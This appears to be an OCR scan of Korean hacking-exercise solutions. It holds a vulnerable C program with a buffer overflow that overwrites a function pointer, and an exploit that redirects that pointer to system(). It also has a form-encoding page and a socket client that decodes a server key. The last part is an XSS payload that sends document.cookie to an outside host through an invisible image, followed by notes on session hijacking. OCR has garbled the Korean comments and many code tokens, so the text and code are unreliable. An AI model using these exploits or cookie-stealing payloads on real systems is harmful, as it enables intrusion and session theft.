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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#define ERROR -1
int show( const char * str )
printf ( "Ok! your parameter is :%s \n", str );
return 0;
}
int main( int argc, char ** argv ) {
static char buf[16];
static int (* showptr) (const char * str);
if (argc <= 2) {
fprintf (stderr, "usage : %s <buffer> <show fucntion's arg>\n", argv[0]);
exit (ERROR) ;
}
printf ("system() function address = %$p\n", &system);
showptr = (int (*) (const char * str)) show;
memset (buf, 0, sizeof (buf)) ;
// argv[1l0 0000 OO0 OO0O0O0O, buffer overflowd OO0
// showptr( argvI([2]10 O00 OO0 OOO0OO,
// showptr[ system() OO0 OO0OO OOOO.
strncpy (buf,argv[l], strlen(argv([l]));

(void) (*showptr) (argv([2]);




return 0;
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exploite| Source

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUF_SIZE 16
#define DEST PROG "./gl"
#define CMD "./nextpass"
int main (int argc, char* argvl[]) {
register int i;
u_long sysaddr;
static char buf [BUF SIZE + sizeof (u long) + 1] = {0};
if ( arge <= 1) {
fprintf (stderr, "Usage: %$s <offset>\n", argv[0]);
exit (ERROR) ;
}
// system()d OO0 O0OODO offsetd OOOO OOOOO.
sysaddr = (u_long) &system - atoi(argv[1l]):;
printf ("Trying system() at 0x%1lx\n", sysaddr) ;
// bufll overflow U0 buffer 00 OO OOO0OO0O OOOO
memset (buf, 'A', 16);
for(i=0; i<sizeof (sysaddr); i++) {
// overflow 0 OO OO (showptr) O system()J OO0 OOODO.
buf [BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
}
execl (DEST PROG, DEST PROG, buf, CMD, NULL) ;

return 0;
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<html>

<head>
<scripts>

function toH (num) {

var hex = '';

for (i=0;i<num.length;i++) {

if (num.charCodeAt (i) .toString(16)

.toUpperCase () .length < 2) {




hex += "%0" + num.charCodeAt (i) .toString(16) .toUpperCase () ;
} else {
hex += "%" + num.charCodeAt (i) .toString(16) .toUpperCase() ;

}
hex = hex.split('$"') .join('"');
return hex;
}
function toGo() {
var bigsize="";
var joinChar = "";
var AaSize = "";
var BbSize = "";
form = document.f;
Aa = form.juminl.value+form.jumin2.value;
Bb = form.name.value;
AaCon = toH(Aa) ;
BbCon = toH (BDb) ;
AaSize = parselnt (AaCon.length) ;
BbSize = parselnt (BbCon.length) ;
if ( AaSize > BbSize ) {
bigsize=AaSize;
} else {
bigsize=BbSize;
}
for(i=0;i<parselInt (bigsize) ;i++)
joinChar = joinChar + AaCon.charAt (i) ;
joinChar = joinChar + BbCon.charAt (i) ;
}
// input 9] S =AY Yo, form.con = ~~ 7} O}d,
// form.con.value = ~~ & Z& Aoz ZAE|ojof Fc}.
form.con.value = joinChar;
return true;
}
</script>
<style type="text/css">
<!--
.style3 {font-size: 1lpx}
.style9 {font-size: 12px; color: #333333; }
-=>

</style>

</head>
<body>

<form name=f method=get action=process.asp onSubmit="toGo () ">
<!1-- hiden®] °}d hidden O|AZ. -->
<i-- JFU 2HA golE AYF e A5 Pt --»
<input type=hidden name=con value="">
<table align=center border=0>

<tr align=centers>

<td bgcolor="#DFDFDF" width=100><span class=style9> FUHS

</span></td>




width=180><input type=text name=juminl

<td align=center bgcolor="#E4E4E4"
maxlength=7><span

size=6 maxlength=6>-<input type=text name=jumin2 size=7
class=style9></td>
</tr>
<tr align=center>
<td bgcolor="#DFDFDF" ><span class=style9> oto|t] «/td>
<!-- inpu 7} ofd input?;]L]E]'. -->
<td align=center bgcolor="#E4E4E4"><input type=text name=name size=20></td>
</tr>

<tr align=center>
<td bgcolor="#DFDFDF" ><span class=style9> Hio|H A o]& </td>

<td align=center bgcolor="#E4E4E4"><input type=text name=virus size=20></td>

</tr>
<tr align=centers>

<t-- AEBEL sumit®] oPd submitO 2 Z/gwojof Furt. --»

o

<td colspan=2 bgcolor="#E4E4E4"><input type=submit value=" OK "></td>
</tr>
</table>
* HIZEO] mpolgiAe 9 ZHE Austr] 9ol oheFet MRS ol8ote MER oWld ME I, ¥ oY
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</body>

</html>
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S Source

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/socket.h>

// port A% (2007)

#define PORT 2007

int main(int argc, char **argv) {
int 1i;
char id[20]={0};
int temp;
int total;
char ho;
char key0[40]={0};
char inkey0[40]1={0};
char key00[40]={0};
int clientSocket;
struct sockaddr in server_ address;
// socketS EI 27|35}, H&F
clientSocket=socket (PF_INET, SOCK STREAM, 0) ;
memset (&server address, 0,sizeof (server address)) ;

server_address.sin_ family=AF_INET;

server_address.sin_addr.s_addr=inet_addr("119.70.155.106");




server address.sin port=htons (PORT) ;

connect (clientSocket, (struct sockaddr*) &server address, sizeof (server address)) ;

printf ("connect server eeee@e@\n")

// mylib.o ©] & ChecklLogin ¥4E 4

CheckLogin (clientSocket) ;

total=0;

// intB9] B4 sAHE W

for(i=0;i<5;i++) {
read (clientSocket, (char*) &temp, sizeof (temp)) ;
/7 SA, 9, A, SA. ol Ul 7HAE BT APSEE
/7 BAS] Beott 42 etE EAEE BEUEE € & YUS
total+=temp;
printf ("read : %d\n",temp) ;

}

/7 AL AIE BUE

write (clientSocket, (char*) &total,sizeof (total)) ;

// ¥TEE EAEE T

read (clientSocket,key0, sizeof (key0)) ;

printf ("total:%d\n", total) ;

printf ("readl:%s\n", key0) ;

printf ("decrypt : ") ;

for(i=0;i<strlen (key0) ;i++) {
// BRI Ae  AAYEL A2 Yo E FIIEH Y= Holl &Aetste
// key00[i] = 'A'+((keyO0[i]l+26-"'A'+OFFSET) %26) ;
/7 % ZE AL olgstg o, BAE & T 3 Fo)H & IEE o83}
/7 otEiet Zo] &g Ae wHE 4 AU
key00[i] = 'A'+((keyO[i]+26-'A'-total-6)%26) ;

}

for(i=0;i<strlen (key0) ;i++) {
key0[i] = key00[strlen(key0)-1-1];

}

printf ("$s\n", keyo0);

// B33 & A9E By

if (-1 == write(clientSocket, key0,sizeof (key0)))
printf ("error\n")

}

memset (key00, 0, sizeof (key00)) ;

// AF key ¥ dsUH.

read (clientSocket,key00,16) ;//sizeof (key00)) ;

printf ("read2:%s\n",key00) ;

close (clientSocket) ;

return 0;

}
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S Source

<!--

0;" />"

) ;
//=->
</scripts>

<script type="text/javascript"s>

/1 AEAE Fol7] As) F& e

document .write (

"<img src='http://hacker.hisecure.or.kr/adminsession.asp?" +
"userid=A7 A samp; " +

"cookie="+escape (document.cookie) +

"' width='0' height='0' border='0"' " +

"style='width: Opx; height: Opx; position: absolute; border: 0; padding:

et B2 code?b ZEH ZS FAJTE ¥, sessionhijacking.asp & A& FQIoto| A session ID7}F ®robxl
=25 AEste] &Rl FolF session IDE Paros 5= ©]-835to] 249 session IDQF HRLO] xssed.asp =
Ao EH Cleard Yt
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